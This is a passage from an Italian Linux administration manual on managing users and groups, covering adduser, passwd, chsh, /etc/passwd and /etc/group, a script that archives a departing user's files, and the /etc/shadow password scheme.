Se la propria distribuzione non sembra predisposta per la cifratura MD5, è meglio non fare esperimenti, perché è importante che ogni componente del sistema di autenticazione e di gestione delle parole d'ordine sia aggiornato correttamente.

18.3.2 Trasferimento delle utenze

Il trasferimento, o la replicazione delle utenze si basa sulla riproduzione delle parole d'ordine cifrate, in modo tale da poter ignorare quale sia il loro valore di origine. Questa riproduzione può avvenire in modo manuale o automatico; cioè può essere l'amministratore del sistema che provvede a ricopiare le utenze, oppure può essere un servizio di rete, come il NIS (*Network information service*, noto anche come YP, *Yellow pages*).

In tutti i casi di riproduzione delle utenze, occorre che i sistemi coinvolti concordino nel funzionamento della funzione ***crypt()***, cioè generino le stesse stringhe cifrate a partire dalle parole d'ordine. Questo è il punto più delicato nella scelta di utilizzare o meno un algoritmo più sofisticato rispetto a quello tradizionale.

18.3.3 Debolezza del sistema di parole d'ordine cifrate

Questo sistema di autenticazione basato sulla conservazione di una parola d'ordine cifrata, ha una debolezza fondamentale: conoscendo la stringa cifrata e l'algoritmo che la genera, si può determinare la parola d'ordine originale per tentativi.[20]

Un sistema che consente l'utilizzo di parole d'ordine con un massimo di otto caratteri è molto debole ai giorni nostri, perché tutte le combinazioni possibili possono essere provate in tempi brevi, anche con un elaboratore di potenza media.

18.4 Utenti e gruppi

I nuovi utenti possono essere aggiunti solo da parte dell'utente '**`root`**', ma poi possono essere loro stessi a cambiare alcuni elementi della loro registrazione. Il più importante è naturalmente la parola d'ordine.

18.4.1 Utilizzo di «adduser» e «useradd»

Il programma per l'inserimento di un utente nuovo può avere due nomi alternativi: '**`adduser`**' o '**`useradd`**'. L'inserimento di un utente è consentito solo all'utente '**`root`**' e consiste normalmente nell'aggiunta delle voci necessarie ai file '`/etc/passwd`', '`/etc/group`' e '`/etc/shadow`', creando eventualmente anche la directory personale dell'utente stesso.

```
adduser [opzioni]
```

```
useradd [opzioni] utente
```

Se si vuole mantenere la massima compatibilità con qualunque programma che abbia qualcosa a che fare con il riconoscimento delle utente, il nome dell'utente non può superare gli otto caratteri. In ogni caso, è opportuno limitarsi all'uso di lettere non accentate e di numeri; qualunque altro simbolo, compresi i segni di punteggiatura, potrebbero creare problemi di vario tipo.

Quando l'inserimento dell'utente implica la creazione automatica della sua directory personale, vengono copiati all'interno di questa alcuni file di configurazione standard contenuti nella directory '`/etc/skel/`'. Di conseguenza, basta porre all'interno di questa directory i file e le directory che si vogliono riprodurre nella directory personale di ogni nuovo utente.

Se nel proprio sistema GNU sono presenti entrambi questi programmi, molto probabilmente si comportano in maniera leggermente diversa. Nella distribuzione Debian, '**`useradd`**', senza l'indicazione di opzioni particolari, si comporta così:

```
# useradd mevio [Invio]
```

In pratica non si vede altro; l'utente '**`mevio`**' viene creato, inserendo dati predefiniti essenziali nel file '`/etc/passwd`' e '`/etc/shadow`', ma senza specificare la parola d'ordine e nemmeno la shell:

```
mevio:x:1002:100::/home/mevio:
```

Quello che si vede sopra è l'esempio di quanto viene aggiunto nel file '`/etc/passwd`'.

Al contrario, sempre nella distribuzione Debian, il programma '**`adduser`**' è più completo:

`#` **`adduser mevio`** [*Invio*]

```
Adding user mevio...
Adding new group mevio (1003).
Adding new user mevio (1003) with group mevio.
Creating home directory /home/mevio.
Copying files from /etc/skel
```

`Enter new UNIX password:` **`*******`** [*Invio*]

`Retype new UNIX password:` **`*******`** [*Invio*]

```
Changing the user information for mevio
Enter the new value, or press ENTER for the default
```

`Full Name []:` **`Mevio Mevi`** [*Invio*]

`Room Number []:` [*Invio*]

`Work Phone []:` [*Invio*]

`Home Phone []:` [*Invio*]

`Other []:` [*Invio*]

`Is the information correct?  [y/n]` **`y`** [*Invio*]

A proposito di '**`adduser`**' della distribuzione Debian si veda la sezione 18.8.4.

18.4.2 File «/etc/skel/*»

La directory '`/etc/skel/`' viene utilizzata normalmente come directory personale tipica per i nuovi utenti. In pratica, quando si aggiunge un nuovo utente e gli si prepara la sua directory personale, viene copiato all'interno di questa il contenuto di '`/etc/skel/`'.

Il nome *skel* sta per *skeleton*, cioè scheletro. In effetti rappresenta lo scheletro di una nuova directory personale.

È molto importante la preparazione di questa directory, in modo che ogni nuovo utente trovi subito i file di configurazione, necessari a utilizzare le shell previste nel sistema ed eventualmente altri programmi essenziali.

18.4.3 Utilizzo di «passwd»

Il programma '**passwd**' permette di cambiare la parola d'ordine registrata all'interno di '`/etc/passwd`' (oppure all'interno di '`/etc/shadow`', come viene mostrato in seguito).[21] Solo l'utente '**root**' può cambiare la parola d'ordine di un altro utente. Gli utenti comuni (tutti escluso '**root**') devono utilizzare una parola d'ordine non troppo breve, composta sia da maiuscole, sia da minuscole o simboli diversi. Alcune parole d'ordine simili al nome utilizzato per identificare l'utente, non sono valide.[22]

```
passwd [utente]
```

Se non si dispone di un mezzo per l'inserimento di un nuovo utente, come quello fornito da '**adduser**', è possibile aggiungere manualmente un record all'interno del file '`/etc/passwd`' senza l'indicazione della parola d'ordine che può essere specificata successivamente attraverso '**passwd**'.

Quando si inventa una nuova parola d'ordine bisogna essere sicuri di poterla introdurre in tutte le situazioni che si potrebbero presentare. Se si utilizzano lettere accentate (cosa sconsigliabile), potrebbe poi capitare di trovare un terminale che non permette il loro inserimento. In generale, conviene limitarsi a utilizzare i simboli che rientrano nella codifica ASCII a 7 bit, con la debita prudenza.

18.4.4 Utilizzo di «chsh»

Il programma '**chsh**' permette di cambiare la shell predefinita all'interno del file '`/etc/passwd`'.[23] È possibile indicare solo una shell esistente e possibilmente elencata all'interno di '`/etc/shells`'. Se la nuova shell non viene indicata tra gli argomenti, questa viene richiesta subito dopo l'avvio di '**chsh**'. Per conferma, viene richiesta anche la ripetizione della parola d'ordine.

```
chsh [opzioni] [utente]
```

Tabella 18.34. Alcune opzioni.

Opzione	Descrizione
`-s` ***shell*** `--shell` ***shell***	Permette di specificare la shell.
`-l` `--list-shells`	Emette un elenco delle shell disponibili in base al contenuto di '`/etc/shells`'.

18.4.5 File «/etc/shells»

Il file '`/etc/shells`' contiene semplicemente un elenco di shell valide, cioè di quelle che sono esistenti e possono essere utilizzate. Segue un esempio di questo file.

```
/bin/sh
/bin/bash
/bin/tcsh
/bin/csh
/bin/ash
/bin/zsh
```

È molto importante che questo file sia preparato con cura e contenga solo le shell per le quali il sistema è predisposto. Ciò significa, quanto meno, che deve esistere una configurazione generalizzata per ognuna di queste e che nella directory '`/etc/skel/`' devono essere stati predisposti tutti i file di configurazione personalizzabili che sono necessari. Quindi, un file '`/etc/shells`' con un semplice elenco di tutte le shell disponibili non è sufficiente.

18.4.6 Utilizzo di «chfn»

Il programma '**`chfn`**' consente di modificare le informazioni personali registrate all'interno del file '`/etc/passwd`'. [24] Si tratta in pratica del nome e cognome dell'utente, del numero dell'ufficio, del telefono dell'ufficio e del telefono di casa. Se non vengono specificate opzioni, i dati vengono inseriti in maniera interattiva, se non viene specificato l'utente, si intende quello che ha eseguito il comando. Solo l'utente '**`root`**' può cambiare le informazioni di un altro utente.

chfn [***opzioni***] [***utente***]

Le informazioni indicate nel quinto capo dei record del file '`/etc/passwd`', sono strutturate solo in modo convenzionale, senza che esista una necessità effettiva.

L'esempio seguente mostra le azioni compiute da un utente per definire le proprie informazioni personali.

`tizio$` **`chfn`** [*Invio*]

```
Changing finger information for tizio
```

`Password:` **`********`** [*Invio*]

`Name [tizio]:` **`Tizio Tizi`** [*Invio*]

`Office []:` **`Riparazioni`** [*Invio*]

`Office Phone[]:` **`123456`** [*Invio*]

`Home Phone[]:` **`9876543`** [*Invio*]

```
Finger information changed.
```

Volendo verificare il risultato all'interno del file '`/etc/passwd`', si può trovare il record seguente, che appare suddiviso su due righe per la mancanza di spazio:

```
tizio:724AD9dGbG25k:502:502:Tizio Tizi,Riparazioni,123456,987654:↩
↪/home/tizio:/bin/bash
```

Le informazioni personali possono essere delicate, specialmente quando si tratta di indicare il numero telefonico dell'abitazione di un utente. Per questo, quando si tratta di utenze presso elaboratori raggiungibili attraverso una rete estesa, come Internet, occorre prudenza.

18.5 Utenti e gruppi importanti

Osservando il file '`/etc/passwd`' si possono notare diversi utenti fittizi standard che hanno degli scopi particolari. Si tratta di ***utenti di sistema***, nel senso che servono al buon funzionamento del sistema operativo.

```
root:dxdFf9MvQ3s:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/mail:
news:*:9:13:news:/var/spool/news:
uucp:*:10:14:uucp:/var/spool/uucp:
operator:*:11:0:operator:/root:
games:*:12:100:games:/usr/games:
gopher:*:13:30:gopher:/usr/lib/gopher-data:
ftp:*:14:50:FTP User:/home/ftp:
nobody:*:99:99:Nobody:/:
```

Di conseguenza, anche '`/etc/group`' contiene l'indicazione di gruppi particolari (gruppi di sistema).

```
root::0:root
bin::1:root,bin,daemon
daemon::2:root,bin,daemon
sys::3:root,bin,adm
adm::4:root,adm,daemon
tty::5:
disk::6:root
lp::7:daemon,lp
mem::8:
kmem::9:
wheel::10:root
mail::12:mail
news::13:news
uucp::14:uucp
man::15:
games::20:
gopher::30:
dip::40:
ftp::50:
nobody::99:
users::100:
```

I campi delle parole d'ordine di questi utenti speciali (tutti tranne '**`root`**') hanno un asterisco che di fatto impedisce qualunque accesso.

Le varie distribuzioni GNU si distinguono spesso nella quantità e nell'organizzazione degli utenti e dei gruppi fittizi. In questo caso, in particolare, l'utente fittizio '**`nobody`**' ha il numero UID 99, come definito nella distribuzione GNU/Linux Red Hat. In generale, questo utente potrebbe avere il numero −1, che applicandosi a un intero positivo rappresenta in pratica il numero più alto gestibile di UID, altre volte potrebbe essere il numero −2. Il numero massimo di UID dipende dalle caratteristiche del file system e dalle librerie utilizzate.

Tabella 18.41. Alcuni utenti e gruppi importanti.

Opzione	Descrizione
'**`root`**'	L'utente '**`root`**' è l'amministratore del sistema: ogni sistema Unix ha un utente '**`root`**'. L'utente '**`root`**' ha sempre il numero UID pari a zero.
'**`bin`**'	L'utente '**`bin`**' non esiste nella realtà. Si tratta di un nome fittizio definito per assegnare ai file eseguibili (*binary*) un proprietario diverso dall'utente '**`root`**'. Di solito, con GNU/Linux, questi eseguibili appartengono al gruppo '**`bin`**', mentre l'utente proprietario resta '**`root`**'.
'**`tty`**'	Di solito, al gruppo '**`tty`**' appartengono i file di dispositivo utilizzabili come canali per la connessione di un terminale.
'**`disk`**'	Di solito, al gruppo '**`disk`**' appartengono i file di dispositivo che si riferiscono a unità a dischi, compresi CD, DVD e assimilati.
'**`floppy`**'	Di solito, al gruppo '**`floppy`**' appartengono i file di dispositivo che si riferiscono alle unità a dischetti.

Opzione	Descrizione
'**nobody**'	L'utente '**nobody**' corrisponde in linea di massima a un utente generico, non identificato, senza privilegi particolari. Viene usato in particolare per evitare che un utente '**root**' possa accedere a un file system di rete (NFS) mantenendo i suoi privilegi: quando ciò accade, l'elaboratore che offre il servizio NFS lo tratta come utente '**nobody**'. In generale, '**nobody**' non deve essere utilizzabile per l'accesso umano. A seconda della distribuzione GNU che si utilizza, il gruppo abbinato a questo utente potrebbe chiamarsi '**nobody**', oppure anche '**nogroup**'.

18.6 Eliminazione di un utente

L'eliminazione di un utente dal sistema non è gestibile attraverso un programma di servizio standard di uso generale: la particolare distribuzione GNU può fornire degli strumenti adatti, oppure si deve agire manualmente. In questa sezione si descrive come si può intervenire manualmente. Fondamentalmente si tratta di agire su due punti:

- l'eliminazione dell'utente dai file '`/etc/passwd`' e '`/etc/group`' (ed eventualmente anche da '`/etc/shadow`');
- l'eliminazione dei file appartenenti a quell'utente.

I file di un utente possono trovarsi ovunque gli sia stato consentito di scriverli. In particolare:

- la directory personale;
- la directory delle caselle postali ('`/var/mail/`' o in certi casi '`/var/spool/mail/`', a meno che questa non sia già inserita direttamente nelle directory personali);
- la directory '`/var/spool/cron/crontabs/`' e '`/var/spool/cron/atjobs/`' per eventuali applicazioni a esecuzione pianificata.

Per elencare tutti i file appartenenti a un certo utente, è possibile usare il programma Find in uno dei modi seguenti.

```
find / -uid numero_utente -print
```

```
find / -user utente -print
```

Volendo, si potrebbe costruire uno script per l'eliminazione automatica di tutti i file appartenenti a un utente determinato. L'esempio seguente, prima di eliminare i file, crea una copia compressa.

```
#!/bin/sh
###
### eliminautente
###
```

```
##
## Variabili.
##
#
# Il nome dell'utente viene fornito come primo e unico argomento
# di questo script.
#
NOME_UTENTE="$1"
#
# Nome per un file temporaneo contenente l'elenco dei file
# appartenenti all'utente che si vuole eliminare.
#
ELENCO_FILE_UTENTE=`tempfile`
##
## Funzioni.
##
#
# Visualizza la sintassi corretta per l'utilizzo di questo script.
#
function sintassi () {
    echo ""
    echo "eliminautente <nome-utente>"
}
##
## Inizio.
##
#
# Verifica la quantità di argomenti.
#
if [ $# != 1 ]
then
    #
    # La quantità di argomenti è errata. Richiama la funzione
    # «sintassi» e termina l'esecuzione dello script restituendo
    # un valore corrispondente a «falso».
    #
    sintassi
    exit 1
fi
#
# Verifica che l'utente sia root.
#
if [ $UID != 0 ]
then
    #
    # Dal momento che l'utente non è root, avvisa dell'errore
    # e termina l'esecuzione restituendo un valore corrispondente
```

```
    # a «falso».
    #
    printf "Questo script può essere utilizzato "
    printf "solo dall'utente root."
    printf "\n"
    exit 1
fi
#
# Crea un elenco di tutti i file appartenenti all'utente
# specificato.
# Si deve evitare che find cerchi di entrare nella directory /dev/.
#
find / -user $NOME_UTENTE -a \( -path "/dev" -prune -o -print \) \
    > $ELENCO_FILE_UTENTE
#
# Comprime i file generando un file compresso con lo stesso nome
# dell'utente da eliminare e con estensione «.tgz».
# Si utilizza «tar» e in particolare:
# «z» permette di comprimere automaticamente l'archivio
# attraverso «gzip».
# In questo caso, l'archivio viene generato nella directory
# personale dell'amministratore del sistema.
#
if tar czvf ~/$NOME_UTENTE.tgz `cat $ELENCO_FILE_UTENTE`
then
    #
    # Se è andato tutto bene elimina i file
    # (togliere il commento), quindi elimina l'elenco temporaneo.
    #
    #rm `cat $ELENCO_FILE_UTENTE`
    rm $ELENCO_FILE_UTENTE
fi
```

18.7 Trucchi per la gestione degli utenti

Alcuni accorgimenti nella gestione degli utenti e dei gruppi possono essere utili in situazioni particolari, anche se a volte si tratta di scelte discutibili. Nelle sezioni seguenti se ne descrivono alcuni.

18.7.1 Utente con funzione specifica

Un trucco che potrebbe rivelarsi comodo in certe situazioni è quello di creare un utente fittizio, con o senza parola d'ordine, al quale si associa un programma o uno script, al posto di una shell. La directory corrente nel momento in cui il programma o lo script viene eseguito è quella indicata come directory *home* (directory personale).

L'esempio seguente mostra un record del file '`/etc/passwd`' preparato in modo da permettere a chiunque di eseguire il programma (o lo script) '`/usr/local/bin/ciao`' partendo dalla posizione della directory '`/tmp/`'. Il numero UID 505 e GID 100 sono solo un esempio.

```
ciao::505:100:Ciao a tutti:/tmp:/usr/local/bin/ciao
```

Naturalmente, il fatto di poter avere un utente (reale o fittizio) che possa accedere senza parola d'ordine, dipende dal sistema di autenticazione: il programma '**`login`**', il quale potrebbe essere stato configurato (o predisposto all'atto della compilazione) per vietare un tale comportamento.

18.7.2 Gruppo di utenti con lo stesso UID

All'interno di un ambiente in cui esiste una certa fiducia nel comportamento reciproco, potrebbe essere conveniente creare un gruppo di utenti con lo stesso numero UID.

Ogni utente avrebbe un proprio nome e una parola d'ordine per accedere al sistema, ma poi, tutti i file apparterrebbero a un utente immaginario che rappresenta tutto il gruppo. Segue un esempio del file '`/etc/passwd`'.

```
tutti:*:1000:1000:Gruppo di lavoro:/home/tutti:/bin/sh
alfa:34gdf6r123455:1000:1000:Gruppo di lavoro:/home/tutti:/bin/sh
bravo:e445gsdfr2124:1000:1000:Gruppo di lavoro:/home/tutti:/bin/sh
charlie:t654df7u72341:1000:1000:Gruppo di lavoro:/home/tutti:/bin/sh
tutti:*:1000:1000:Gruppo di lavoro:/home/tutti:/bin/sh
```

Si osservi che l'utente fittizio '**`tutti`**' dell'esempio mostrato appare per primo e per ultimo, in modo da non avere differenze di comportamento in presenza di un sistema NIS per la condivisione delle utenze in rete.

Se esiste la necessità o l'utilità si possono assegnare anche directory personali e shell differenti.

18.7.3 Uno stesso UID e GID per più nominativi-utente

Un utente reale potrebbe avere bisogno di gestire diversi nominativi-utente per accedere allo stesso elaboratore e gestire attività differenti, pur mantenendo lo stesso numero UID e lo stesso numero GID. In questo modo, avrebbe a disposizione diverse directory personali, una per ogni progetto che conduce.

```
tizio:34gdf6r123455:1000:1000:Tizio Tizi:/home/tizio:/bin/sh
alfa:34gdf6r123455:1000:1000:Tizio Tizi prog. Alfa:/home/alfa:/bin/sh
bravo:34gdf6r123455:1000:1000:Tizio Tizi prog. Bravo:/home/bravo:/bin/sh
charlie:34gdf6r123455:1000:1000:Tizio Tizi prog. Charlie:/home/charlie:/bin/sh
tizio:34gdf6r123455:1000:1000:Tizio Tizi:/home/tizio:/bin/sh
```

Si osservi che la dichiarazione dell'utente '**`tizio`**' dell'esempio mostrato appare per primo e per ultimo, in modo da non avere differenze di comportamento in presenza di un sistema NIS per la condivisione delle utenze in rete.

Eventualmente, per distinguere quale sia il nominativo-utente utilizzato effettivamente, si potrebbe modificare la stringa di definizione dell'invito della shell. Nel caso di Bash, si potrebbe utilizzare quella seguente:

```
PS1="$USER->\u@\h:\w\\$ "
export PS1
```

Il significato di questo viene approfondito nel capitolo dedicato alla shell POSIX, in cui vengono annotate anche alcune particolarità di Bash (19).

18.7.4 Un gruppo per ogni utente (gruppi privati)

Si tratta di una strategia di gestione degli utenti e dei gruppi con cui, ogni volta che si crea un nuovo utente, si crea anche un gruppo con lo stesso nome e, possibilmente, lo stesso numero (UID = GID). Questa tecnica si combina con una maschera dei permessi 002_8. In pratica, i file vengono creati in modo predefinito con i permessi di lettura e scrittura, sia per l'utente proprietario, sia per il gruppo, mentre si esclude la scrittura per gli altri utenti.

Il motivo di tutto questo sta nella facilità con cui si può concedere a un altro utente di poter partecipare al proprio lavoro: basta aggiungere il suo nome nell'elenco degli utenti associati al proprio gruppo.

Volendo agire in maniera più elegante, si possono creare degli altri gruppi aggiuntivi, in base alle attività comuni e aggiungere a questi gruppi i nomi degli utenti che di volta in volta partecipano a quelle attività. Naturalmente, i file da condividere all'interno dei gruppi devono appartenere a questi stessi gruppi.[25]

A titolo di esempio, si mostra cosa sia necessario fare per gestire un gruppo di lavoro per un ipotetico progetto «alfa».

1. Si fa in modo che la maschera dei permessi predefiniti (*umask*) degli utenti che devono far parte del progetto, sia pari a 002_8, per consentire in modo normale ogni tipo di accesso agli utenti dei gruppi di cui si fa parte, ai file e alle directory che vengono create.

2. Si crea il gruppo '**alfa**' e a questo si abbinano tutti gli utenti che devono fare parte del progetto. Il record del gruppo '**alfa**', nel file '/etc/group', potrebbe essere simile a quello seguente:

   ```
   alfa::101:tizio,caio,sempronio
   ```

3. Si crea una sorta di directory *home* per i file del progetto, con eventuali ramificazioni.

   # **mkdir /home/progetti/alfa** [*Invio*]

   # **mkdir /home/progetti/alfa/**... [*Invio*]

4. Si assegna l'appartenenza di questa directory (ed eventuali sottodirectory) al gruppo di lavoro.

   # **chown -R root:alfa /home/gruppi/alfa** [*Invio*]

5. Si assegnano i permessi in modo che ciò che viene creato all'interno del gruppo di directory appartenga al gruppo delle directory stesse.

   # **chmod -R 2775 /home/progetti/alfa** [*Invio*]

   In questo modo tutte le directory del progetto ottengono l'attivazione del bit SGID, attraverso il quale, in modo predefinito, i file creati al loro interno vengono abbinati allo stesso gruppo delle directory stesse, cioè quello del progetto per cui sono state predisposte.

18.7.5 Directory personali controllate rigidamente dall'amministratore

Quando si gestiscono i gruppi privati, ovvero quando ogni utente ha un proprio gruppo personale, e quando il bit Sticky dei permessi sulle directory comporta l'impossibilità di cancellare ciò che non appartiene all'utente stesso, è possibile attuare un controllo abbastanza stretto sulle directory personali degli utenti. Il meccanismo si basa su un principio molto semplice: le directory personali appartengono all'utente '**root**' e solo al gruppo del vero utente destinatario, con la facoltà di lettura, scrittura e accesso per il gruppo, ma con il bit Sticky attivo. Per esempio, supponendo che la directory personale dell'utente '**tizio**' sia '/home/tizio':

chown root /home/tizio [*Invio*]

chmod ug+rwx /home/tizio [*Invio*]

chmod +t /home/tizio [*Invio*]

ls -ld /home/tizio [*Invio*]

```
drwxrwxr-t 2 root tizio 4096 2009-12-15 18:20 /home/tizio
```

In queste condizioni, l'utente '**tizio**' può agire quasi normalmente nella propria directory personale, con la differenza che non può cancellare i file che non gli appartengono e non può cambiare i permessi della propria stessa directory personale.

Il primo vantaggio per l'amministratore consiste nel poter controllare i permessi nelle directory personali degli utenti; per esempio può impedire loro che condividere delle informazioni, togliendo il permesso di lettura o di attraversamento per gli altri utenti.

L'amministratore può inoltre creare dei file o delle sottodirectory, appartenenti a sé, sulle quali controllare ulteriormente i contenuti e i permessi di accesso. Per esempio potrebbe impedire ad alcuni utenti di pubblicare delle informazioni nella directory '~/public_html/', creandone una vuota, ma priva dei permessi di accesso al gruppo e agli altri utenti (gli utenti non avrebbero modo di eliminarla).

L'amministratore potrebbe predisporre una configurazione legata alle singole utenze, composta da directory e file, contenuti nelle directory personali degli stessi, togliendo agli utenti la facoltà di intervenirvi. Per esempio potrebbe modificare il file '/etc/profile' (della shell standard), per verificare la presenza e il contenuto di certi file nella directory personale dell'utente che accede, controllando di conseguenza delle azioni preventive.

Un meccanismo di questo tipo è utilizzato nella distribuzione GNU/Linux NLNX (volume III), la quale considera in modo particolare le problematiche dell'amministrazione di utenze per la didattica nella scuola.

18.7.6 Directory personali controllate da un utente «tutore»

Un meccanismo molto simile a quello descritto nella sezione precedente, consente di attribuire a un utente, definibile come «tutore», il ruolo di controllo delle directory personali di un certo insieme di altri utenti «pupilli». Per comprendere il senso si ciò si può immaginare che il tutore sia un insegnante, a cui viene affidato il controllo delle utenze che rappresentano gli studenti di propria competenza. Supponendo che l'utente '**tizio**' sia il pupillo e che l'utente

'**martino**' sia il tutore della situazione, l'esempio seguente mostra il processo di acquisizione del controllo dell'utenza di '**tizio**' nel modo descritto:

chown martino /home/tizio [*Invio*]

chmod ug+rwx /home/tizio [*Invio*]

chmod +t /home/tizio [*Invio*]

ls -ld /home/tizio [*Invio*]

```
drwxrwxr-t 2 martino tizio 4096 2009-12-15 18:20 /home/tizio
```

In questo caso, il vantaggio più importante consiste nella facoltà che guadagna l'utente «tutore» di accedere alle directory personali dei propri «pupilli», anche quando si volesse impedire agli altri utenti di accedervi, oltre che di poter controllare i permessi e l'inamovibilità di certi file e directory.

È bene chiarire che gli utenti tutori possono ottenere questo ruolo particolare solo in base a un intervento dell'amministratore, senza il quale non si potrebbero assegnare inizialmente le proprietà alle directory personali dei pupilli.

18.7.7 Creazione di un'utenza in più contesti

Può capitare la necessità di creare un proprio script per la creazione delle utenze, per esempio quando si vuole concedere una forma di accesso alternativa, che prevede però un proprio meccanismo di autenticazione e di memorizzazione delle parole d'ordine. Questo problema può capitare per esempio con Samba, anche se teoricamente è già previsto un meccanismo del genere al suo interno.

Volendo o dovendo creare un tale script, il problema che si incontra sta nell'assegnare o modificare la parola d'ordine dell'utente. Per farlo, si può cercare di controllare il programma '**passwd**' tramite lo script, ma bisogna dare il tempo a '**passwd**' di fare le domande:

passwd tizio [*Invio*]

Enter new UNIX password: ***digitazione_all'oscuro*** [*Invio*]

Retype new UNIX password: ***digitazione_all'oscuro*** [*Invio*]

```
passwd: password updated successfully.
```

Per poter inviare al programma '**passwd**' la parola d'ordine (si supponga che si tratti della parola «segreta»), non la si può inserire in un file del genere per poi inviarla attraverso lo standard input:

```
segreta
segreta
```

Supponendo che questo sia il file '/tmp/nuova' non serve a nulla fare così:

cat /tmp/nuova | passwd tizio [*Invio*]

Ecco cosa si vedrebbe apparire:

```
Enter new UNIX password: Retype new UNIX password: Sorry, ↩
↪passwords do not match↩
↪passwd: Authentication information cannot be recovered
```

Per risolvere il problema, va inserita una pausa nel flusso dello standard input. Ecco come:

```
# ( sleep 1 ; echo "segreta" ; sleep 1 ; echo "segreta" ) ↩
↪| passwd tizio [Invio]
```

```
Enter new UNIX password: Retype new UNIX password: passwd: password ↩
↪updated successfully
```

18.8 Parole d'ordine oscurate

Il meccanismo delle parole d'ordine oscurate (*shadow password*) si basa su un principio molto semplice: nascondere le parole d'ordine cifrate ai processi che non hanno i privilegi dell'utente '**`root`**'. Infatti, nei sistemi in cui le parole d'ordine oscurate non sono attivate, è il file '`/etc/passwd`', leggibile a tutti i tipi di utenti, che contiene tali parole d'ordine cifrate.

Il problema nasce dal fatto che è possibile scoprire la parola d'ordine degli utenti attraverso programmi specializzati che scandiscono un vocabolario alla ricerca di una parola che possa corrispondere alla parola d'ordine cifrata.

L'utilizzo del sistema delle parole d'ordine oscurate richiede che alcuni programmi siano predisposti per questo. Nel capitolo si fa riferimento a strumenti standard che però si intende siano stati integrati nella distribuzione GNU che si utilizza. L'attivazione di parole d'ordine oscurate in una distribuzione che non sia stata predisposta, comporta delle difficoltà che rendono la cosa sconsigliabile.

18.8.1 Funzioni delle parole d'ordine oscurate

Con le parole d'ordine oscurate attivate si aggiunge il file '`/etc/shadow`' a fianco del consueto '`/etc/passwd`'. In questo secondo file vengono tolte le parole d'ordine cifrate e al loro posto viene inserita una '**`x`**', mentre nel file '`/etc/shadow`', oltre alle parole d'ordine cifrate, vengono inserite altre informazioni sulle utenze che permettono di aumentare la sicurezza.

Anche i gruppi possono avere delle parole d'ordine ed è possibile affiancare al file '`/etc/group`' il file '`/etc/gshadow`'.

18.8.1.1 File «/etc/shadow»

La presenza del file '`/etc/shadow`' indica l'attivazione delle parole d'ordine oscurate. I record di questo file (le righe) sono organizzati in campi, separati attraverso il simbolo due punti ('**`:`**'), secondo la sintassi seguente:

utente **:** ***parola_d'ordine_cifrata*** **:** ***modifica*** **:** ***valid_min*** **:** ***valid_max*** **:** ***preavviso*** **:** ***tempo_riserva*** **:** ***termine*** **:** ***riservato***

I campi che rappresentano una data possono contenere un numero intero che indica la quantità di giorni trascorsi dal 1/1/1970, mentre quelli che rappresentano una durata, possono contenere un numero intero che esprime una quantità di giorni.

1. ***utente***

   Il nominativo dell'utente.

2. ***parola_d'ordine_cifrata***

   La parola d'ordine cifrata, tolta dal file '`/etc/passwd`'.

3. ***modifica***

   Data in cui è stata modificata la parola d'ordine per l'ultima volta.

4. ***validità_minima***

   Numero di giorni di validità minima della parola d'ordine; entro questo tempo, l'utente non può cambiare la parola d'ordine.

5. ***validità_massima***

   Numero di giorni di validità massima della parola d'ordine; prima che trascorra questo tempo, l'utente deve cambiare la parola d'ordine.

6. ***preavviso***

   Numero di giorni, prima della scadenza della parola d'ordine, durante i quali l'utente viene avvisato della necessità di modificarla.

7. ***tempo_di_riserva***

   Durata massima di validità dell'utenza dopo che la parola d'ordine è scaduta.

8. ***termine***

   Data di scadenza dell'utenza.

9. ***riservato***

   Riservato per usi futuri.

Figura 18.54. Schema dei tempi riferiti alle utenze. I numeri fanno riferimento ai campi del file '`/etc/shadow`'.

si può modificare la parola d'ordine
inizia il preavviso
la parola d'ordine non funziona più
e viene imposto di modificarla
non si può più accedere
l'utenza viene rimossa
tempo
(4) giorni di validità minima
(4)
(6)
giorni di
preavviso
(7)
giorni di
riserva
(8) data finale
(5)
giorni di validità della parola d'ordine
(3) data di modifica

A titolo di esempio, viene mostrato un caso sufficientemente completo nella figura 18.55.

Figura 18.55. Esempio di un record del file '`/etc/shadow`'.

```
tizio:wsLHjp.FutW0sgtgfdeR67gdehk98:10459:0:30:7:10:10824:
 |     |                            |    | |  | |   |
 |     parola d'ordine              |    | |  | |   termine dell'utenza il
 |     cifrata                      |    | |  | |   giorno 21/08/1999
 |                                  |    | |  | |
 utente                             |    | |  | dieci giorni di riserva
                                    |    | |  |
                                    |    | |  sette giorni di preavviso
                                    |    | |
             la parola d'ordine è stata  | trenta giorni di validità massima
             modificata il giorno        |
             21/08/1998                 l'utente può cambiare password
                                        in ogni momento
```

Perché il sistema delle parole d'ordine oscurate possa dare la sicurezza che promette, è necessario che il file '`/etc/shadow`' appartenga all'utente '**`root`**' e abbia esclusivamente il permesso di lettura per il proprietario (0400_8).

18.8.1.2 File «/etc/passwd»

Quando è attivo il sistema delle parole d'ordine oscurate, il file '`/etc/passwd`' non dovrebbe contenere più le parole d'ordine cifrate. Al loro posto dovrebbe apparire una lettera '**`x`**' (minuscola), come nell'esempio seguente:

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
...
tizio:x:1000:1000::/home/tizio:/bin/bash
...
```

Tuttavia, dovrebbe essere ammissibile la presenza di record contenenti la parola d'ordine cifrata dell'utente relativo, con la corrispondente assenza di un record nel file '`/etc/shadow`'. Per questi utenti, le funzionalità delle parole d'ordine oscurate sono ovviamente disattivate e non dovrebbero esserci altre conseguenze.

18.8.2 Amministrazione degli utenti

La presenza delle parole d'ordine oscurate richiede strumenti adeguati alla loro amministrazione. Le informazioni aggiuntive che richiede un'utenza quando sono attive le parole d'ordine oscurate, rendono utile la presenza di un file di configurazione contenente le caratteristiche predefinite che questa utenza dovrebbe avere. Il file in questione è '`/etc/login.defs`'.

18.8.2.1 File «/etc/login.defs»

Il file '`/etc/login.defs`' permette di stabilire alcune caratteristiche predefinite delle utenze che utilizzano le parole d'ordine oscurate. La sua presenza è importante soprattutto nel momento della creazione di un nuovo utente, ovvero della trasformazione di utenze normali in utenze munite di parole d'ordine oscurate, per definire i valori relativi alla validità e alla scadenza delle parole d'ordine.

